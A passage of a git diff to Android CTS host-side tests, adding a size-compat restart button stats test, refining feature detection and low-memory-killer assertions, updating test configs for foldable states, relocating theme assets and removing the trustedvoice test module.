index 25cb2f7..f49d3f6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessDmabufMemoryTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessDmabufMemoryTests.java
@@ -60,7 +60,8 @@
 
     public void testProcessDmabufMemoryAtom() throws Exception {
         boolean supportsFds = DeviceUtils.isKernelGreaterEqual(getDevice(), Pair.create(5, 4))
-                && PropertyUtil.getFirstApiLevel(getDevice()) > 30;
+                && PropertyUtil.getFirstApiLevel(getDevice()) >= 31
+                && PropertyUtil.getVendorApiLevel(getDevice()) >= 31;
 
         List<AtomsProto.Atom> atoms = pullAsGaugeMetric();
         for (AtomsProto.Atom atom : atoms) {
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/OWNERS
new file mode 100644
index 0000000..59a02ed
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/OWNERS
@@ -0,0 +1,5 @@
+# These atom tests are owned by the Android Framework team.
+tomnatan@google.com
+mariiasand@google.com
+benm@google.com
+akulian@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
new file mode 100644
index 0000000..b797e68
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.sizecompatrestartbutton;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported;
+import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported.Event;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * This test is for making sure that Size Compat Restart Button appearances and clicks log the
+ * desired atoms.
+ *
+ *  <p>Build/Install/Run:
+ *  atest CtsStatsdAtomHostTestCases:SizeCompatRestartButtonStatsTests
+ */
+// TODO(b/197223993): add test for clicked event
+public class SizeCompatRestartButtonStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String NON_RESIZEABLE_PORTRAIT_ACTIVITY =
+            "StatsdCtsNonResizeablePortraitActivity";
+    private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
+    private static final String CMD_PUT_STAY_ON_TEMPLATE =
+            "settings put global stay_on_while_plugged_in %d";
+    private static final int ENABLE_STAY_ON_CODE = 7;
+    private static final String CMD_GET_AVAILABLE_DEVICE_STATES =
+            "cmd device_state print-states-simple";
+    private static final String CMD_RESET_DEVICE_STATE = "cmd device_state state reset";
+    private static final String CMD_PUT_DEVICE_STATE_TEMPLATE = "cmd device_state state %d";
+    private static final int DEVICE_STATE_CLOSED = 0;
+    private static final int DEVICE_STATE_OPENED = 2;
+
+    private IBuildInfo mCtsBuild;
+    private long mOriginalStayOnSetting;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        mOriginalStayOnSetting = Long.parseLong(
+                getDevice().executeShellCommand(CMD_GET_STAY_ON).trim());
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_STAY_ON_TEMPLATE, ENABLE_STAY_ON_CODE));
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_DEVICE_STATE_TEMPLATE, DEVICE_STATE_CLOSED));
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SIZE_COMPAT_RESTART_BUTTON_EVENT_REPORTED_FIELD_NUMBER,
+                /*uidInAttributionChain=*/ false);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
+        getDevice().executeShellCommand(CMD_RESET_DEVICE_STATE);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testSizeCompatRestartButtonAppearedButNotClicked() throws Exception {
+        if (!isOpenedDeviceStateAvailable()) {
+            CLog.i("Device doesn't support OPENED device state.");
+            return;
+        }
+
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, NON_RESIZEABLE_PORTRAIT_ACTIVITY, "action",
+                "action.sleep_top")) {
+            getDevice().executeShellCommand(
+                    String.format(CMD_PUT_DEVICE_STATE_TEMPLATE, DEVICE_STATE_OPENED));
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isEqualTo(1);
+
+        SizeCompatRestartButtonEventReported atom =
+                data.get(0).getAtom().getSizeCompatRestartButtonEventReported();
+        assertThat(atom.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(atom.getEvent()).isEqualTo(Event.APPEARED);
+    }
+
+    private boolean isOpenedDeviceStateAvailable() throws Exception {
+        return Arrays.stream(
+                getDevice().executeShellCommand(CMD_GET_AVAILABLE_DEVICE_STATES).split(","))
+                .map(Integer::valueOf)
+                .anyMatch(state -> state == DEVICE_STATE_OPENED);
+    }
+}
+
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
index 8b628cf..d547c0d 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
@@ -79,6 +79,7 @@
 import java.util.Queue;
 import java.util.Random;
 import java.util.Set;
+import java.util.StringTokenizer;
 import java.util.function.Function;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -926,7 +927,16 @@
      */
     protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
         final String features = getDevice().executeShellCommand("pm list features");
-        boolean hasIt = features.contains(featureName);
+        StringTokenizer featureToken = new StringTokenizer(features, "\n");
+        boolean hasIt = false;
+
+        while (featureToken.hasMoreTokens()) {
+            if (("feature:" + featureName).equals(featureToken.nextToken())) {
+                 hasIt = true;
+                 break;
+            }
+        }
+
         if (hasIt != requiredAnswer) {
             LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
                     + featureName);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index d907249..ee1d0e0 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -75,6 +75,7 @@
 
     private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
     private static final String FEATURE_WATCH = "android.hardware.type.watch";
+    private static final String FEATURE_TWM = "com.google.clockwork.hardware.traditional_watch_mode";
     private static final String FEATURE_WIFI = "android.hardware.wifi";
     private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
 
@@ -340,6 +341,7 @@
     }
 
     public void testBatterySaverModeStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_TWM)) return;
         if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
         // Setup, turn off battery saver.
         turnBatterySaverOff();
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index c363d84..0a00c67 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -58,6 +58,7 @@
 import com.android.tradefed.util.Pair;
 
 import java.util.Arrays;
+import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashSet;
 import java.util.List;
@@ -150,34 +151,38 @@
 
         // Start the victim process (service running in process :lmk_victim)
         // We rely on a victim process (instead of expecting the allocating process to die)
-        // because it can be flaky and dependent on lmkd configuration
-        // (e.g. the OOM reaper can get to it first, depending on the allocation timings)
+        // because 1. it is likely to be less flaky (higher oom score processes will be killed
+        // faster, making less likely for the OOM reaper to trigger and 2. we need two processes
+        // to be able to force evictions on 32-bit userspace devices with > 4 GB RAM.
         DeviceUtils.executeServiceAction(getDevice(), "LmkVictimBackgroundService",
-                "action.end_immediately");
+                "action.allocate_memory");
         // Start fg activity and allocate
         try (AutoCloseable a = DeviceUtils.withActivity(
                 getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 "StatsdCtsForegroundActivity", "action", "action.lmk")) {
             // Sorted list of events in order in which they occurred.
-            List<EventMetricData> data = null;
+            List<LmkKillOccurred> atoms = null;
             for (int i = 0; i < 60; ++i) {
                 Thread.sleep(1_000);
-                data = ReportUtils.getEventMetricDataList(getDevice());
-                if (!data.isEmpty()) {
+                atoms = ReportUtils.getEventMetricDataList(getDevice()).stream()
+                        .map(EventMetricData::getAtom)
+                        .filter(Atom::hasLmkKillOccurred)
+                        .map(Atom::getLmkKillOccurred)
+                        .filter(atom -> atom.getUid() == appUid)
+                        .collect(Collectors.toList());
+                if (!atoms.isEmpty()) {
                   break;
                 }
             }
 
-            assertThat(data).isNotEmpty();
+            assertThat(atoms).isNotEmpty();
             // Even though both processes might have died, the non-fg one (victim)
             // must have been first.
-            assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
-            LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
-            assertThat(atom.getUid()).isEqualTo(appUid);
-            assertThat(atom.getProcessName())
+            assertThat(atoms.get(0).getProcessName())
                     .isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG + ":lmk_victim");
-            assertThat(atom.getOomAdjScore()).isAtLeast(500);
-            assertThat(atom.getRssInBytes() + atom.getSwapInBytes()).isGreaterThan(0);
+            assertThat(atoms.get(0).getOomAdjScore()).isGreaterThan(0);
+            assertThat(atoms.get(0).getRssInBytes() + atoms.get(0).getSwapInBytes())
+                    .isGreaterThan(0);
       }
     }
 
@@ -266,12 +271,15 @@
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
-
+        List<Integer> atomStates = data.stream().map(
+                eventMetricData -> eventMetricData.getAtom().getAudioStateChanged()
+                        .getState().getNumber())
+                .collect(Collectors.toList());
         // Because the timestamp is truncated, we skip checking time differences between state
         // changes.
-        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getAudioStateChanged().getState().getNumber());
-
+        assertThat(data.size()).isEqualTo(2);
+        assertThat(new ArrayList<>(Arrays.asList(AudioStateChanged.State.ON_VALUE,
+                AudioStateChanged.State.OFF_VALUE))).containsExactlyElementsIn(atomStates);
         // Check that timestamp is truncated
         for (EventMetricData metric : data) {
             long elapsedTimestampNs = metric.getElapsedTimestampNanos();
diff --git a/hostsidetests/telephony/AndroidTest.xml b/hostsidetests/telephony/AndroidTest.xml
index 388d07d..942c77a 100644
--- a/hostsidetests/telephony/AndroidTest.xml
+++ b/hostsidetests/telephony/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="TelephonyDeviceTest.apk" />
diff --git a/hostsidetests/telephonyprovider/AndroidTest.xml b/hostsidetests/telephonyprovider/AndroidTest.xml
index f1856eb..ee6a547 100644
--- a/hostsidetests/telephonyprovider/AndroidTest.xml
+++ b/hostsidetests/telephonyprovider/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="TelephonyProviderDeviceTest.apk" />
diff --git a/hostsidetests/theme/AndroidTest.xml b/hostsidetests/theme/AndroidTest.xml
index 2f889d5..74d66e7 100644
--- a/hostsidetests/theme/AndroidTest.xml
+++ b/hostsidetests/theme/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsThemeDeviceApp.apk" />
diff --git a/hostsidetests/theme/assets/31/140dpi.zip b/hostsidetests/theme/assets/31/S/140dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/140dpi.zip
rename to hostsidetests/theme/assets/31/S/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/180dpi.zip b/hostsidetests/theme/assets/31/S/180dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/180dpi.zip
rename to hostsidetests/theme/assets/31/S/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/200dpi.zip b/hostsidetests/theme/assets/31/S/200dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/200dpi.zip
rename to hostsidetests/theme/assets/31/S/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/220dpi.zip b/hostsidetests/theme/assets/31/S/220dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/220dpi.zip
rename to hostsidetests/theme/assets/31/S/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/260dpi.zip b/hostsidetests/theme/assets/31/S/260dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/260dpi.zip
rename to hostsidetests/theme/assets/31/S/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/280dpi.zip b/hostsidetests/theme/assets/31/S/280dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/280dpi.zip
rename to hostsidetests/theme/assets/31/S/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/300dpi.zip b/hostsidetests/theme/assets/31/S/300dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/300dpi.zip
rename to hostsidetests/theme/assets/31/S/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/340dpi.zip b/hostsidetests/theme/assets/31/S/340dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/340dpi.zip
rename to hostsidetests/theme/assets/31/S/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/360dpi.zip b/hostsidetests/theme/assets/31/S/360dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/360dpi.zip
rename to hostsidetests/theme/assets/31/S/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/400dpi.zip b/hostsidetests/theme/assets/31/S/400dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/400dpi.zip
rename to hostsidetests/theme/assets/31/S/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/420dpi.zip b/hostsidetests/theme/assets/31/S/420dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/420dpi.zip
rename to hostsidetests/theme/assets/31/S/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/440dpi.zip b/hostsidetests/theme/assets/31/S/440dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/440dpi.zip
rename to hostsidetests/theme/assets/31/S/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/560dpi.zip b/hostsidetests/theme/assets/31/S/560dpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/560dpi.zip
rename to hostsidetests/theme/assets/31/S/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/hdpi.zip b/hostsidetests/theme/assets/31/S/hdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/hdpi.zip
rename to hostsidetests/theme/assets/31/S/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/ldpi.zip b/hostsidetests/theme/assets/31/S/ldpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/ldpi.zip
rename to hostsidetests/theme/assets/31/S/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/mdpi.zip b/hostsidetests/theme/assets/31/S/mdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/mdpi.zip
rename to hostsidetests/theme/assets/31/S/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/tvdpi.zip b/hostsidetests/theme/assets/31/S/tvdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/tvdpi.zip
rename to hostsidetests/theme/assets/31/S/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/xhdpi.zip b/hostsidetests/theme/assets/31/S/xhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/xhdpi.zip
rename to hostsidetests/theme/assets/31/S/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/xxhdpi.zip b/hostsidetests/theme/assets/31/S/xxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/xxhdpi.zip
rename to hostsidetests/theme/assets/31/S/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/xxxhdpi.zip b/hostsidetests/theme/assets/31/S/xxxhdpi.zip
similarity index 100%
rename from hostsidetests/theme/assets/31/xxxhdpi.zip
rename to hostsidetests/theme/assets/31/S/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/140dpi.zip b/hostsidetests/theme/assets/32/140dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/140dpi.zip
copy to hostsidetests/theme/assets/32/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/180dpi.zip b/hostsidetests/theme/assets/32/180dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/180dpi.zip
copy to hostsidetests/theme/assets/32/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/200dpi.zip b/hostsidetests/theme/assets/32/200dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/200dpi.zip
copy to hostsidetests/theme/assets/32/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/220dpi.zip b/hostsidetests/theme/assets/32/220dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/220dpi.zip
copy to hostsidetests/theme/assets/32/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/260dpi.zip b/hostsidetests/theme/assets/32/260dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/260dpi.zip
copy to hostsidetests/theme/assets/32/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/280dpi.zip b/hostsidetests/theme/assets/32/280dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/280dpi.zip
copy to hostsidetests/theme/assets/32/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/300dpi.zip b/hostsidetests/theme/assets/32/300dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/300dpi.zip
copy to hostsidetests/theme/assets/32/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/340dpi.zip b/hostsidetests/theme/assets/32/340dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/340dpi.zip
copy to hostsidetests/theme/assets/32/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/360dpi.zip b/hostsidetests/theme/assets/32/360dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/360dpi.zip
copy to hostsidetests/theme/assets/32/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/400dpi.zip b/hostsidetests/theme/assets/32/400dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/400dpi.zip
copy to hostsidetests/theme/assets/32/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/420dpi.zip b/hostsidetests/theme/assets/32/420dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/420dpi.zip
copy to hostsidetests/theme/assets/32/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/440dpi.zip b/hostsidetests/theme/assets/32/440dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/440dpi.zip
copy to hostsidetests/theme/assets/32/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/560dpi.zip b/hostsidetests/theme/assets/32/560dpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/560dpi.zip
copy to hostsidetests/theme/assets/32/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/hdpi.zip b/hostsidetests/theme/assets/32/hdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/hdpi.zip
copy to hostsidetests/theme/assets/32/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/ldpi.zip b/hostsidetests/theme/assets/32/ldpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/ldpi.zip
copy to hostsidetests/theme/assets/32/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/mdpi.zip b/hostsidetests/theme/assets/32/mdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/mdpi.zip
copy to hostsidetests/theme/assets/32/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/tvdpi.zip b/hostsidetests/theme/assets/32/tvdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/tvdpi.zip
copy to hostsidetests/theme/assets/32/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/xhdpi.zip b/hostsidetests/theme/assets/32/xhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/xhdpi.zip
copy to hostsidetests/theme/assets/32/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/xxhdpi.zip b/hostsidetests/theme/assets/32/xxhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/xxhdpi.zip
copy to hostsidetests/theme/assets/32/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/31/xxxhdpi.zip b/hostsidetests/theme/assets/32/xxxhdpi.zip
similarity index 100%
copy from hostsidetests/theme/assets/31/xxxhdpi.zip
copy to hostsidetests/theme/assets/32/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/time/host/AndroidTest.xml b/hostsidetests/time/host/AndroidTest.xml
index 30b40f4..6dabacc 100644
--- a/hostsidetests/time/host/AndroidTest.xml
+++ b/hostsidetests/time/host/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.time.cts.host.LocationTimeZoneManagerHostTest" />
         <option name="class" value="android.time.cts.host.LocationTimeZoneManagerStatsTest" />
diff --git a/hostsidetests/trustedvoice/Android.bp b/hostsidetests/trustedvoice/Android.bp
deleted file mode 100644
index faa94df..0000000
--- a/hostsidetests/trustedvoice/Android.bp
+++ /dev/null
@@ -1,34 +0,0 @@
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-java_test_host {
-    name: "CtsTrustedVoiceHostTestCases",
-    defaults: ["cts_defaults"],
-    srcs: ["src/**/*.java"],
-    // Must match the package name in CtsTestCaseList.mk
-    libs: [
-        "cts-tradefed",
-        "ddmlib-prebuilt",
-        "tradefed",
-    ],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/trustedvoice/AndroidTest.xml b/hostsidetests/trustedvoice/AndroidTest.xml
deleted file mode 100644
index bb5970b..0000000
--- a/hostsidetests/trustedvoice/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Trustedvoice host test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsTrustedVoiceApp.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsTrustedVoiceHostTestCases.jar" />
-        <option name="runtime-hint" value="12m" />
-    </test>
-</configuration>
diff --git a/hostsidetests/trustedvoice/OWNERS b/hostsidetests/trustedvoice/OWNERS
deleted file mode 100644
index f96bd04..0000000
--- a/hostsidetests/trustedvoice/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-# Bug component: 174421
-sharmneha@google.com
\ No newline at end of file
diff --git a/hostsidetests/trustedvoice/TEST_MAPPING b/hostsidetests/trustedvoice/TEST_MAPPING
deleted file mode 100644
index fb71ad2..0000000
--- a/hostsidetests/trustedvoice/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsTrustedVoiceHostTestCases"
-    }
-  ]
-}
diff --git a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
deleted file mode 100644
index 32cc42c..0000000
--- a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.trustedvoice.app;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
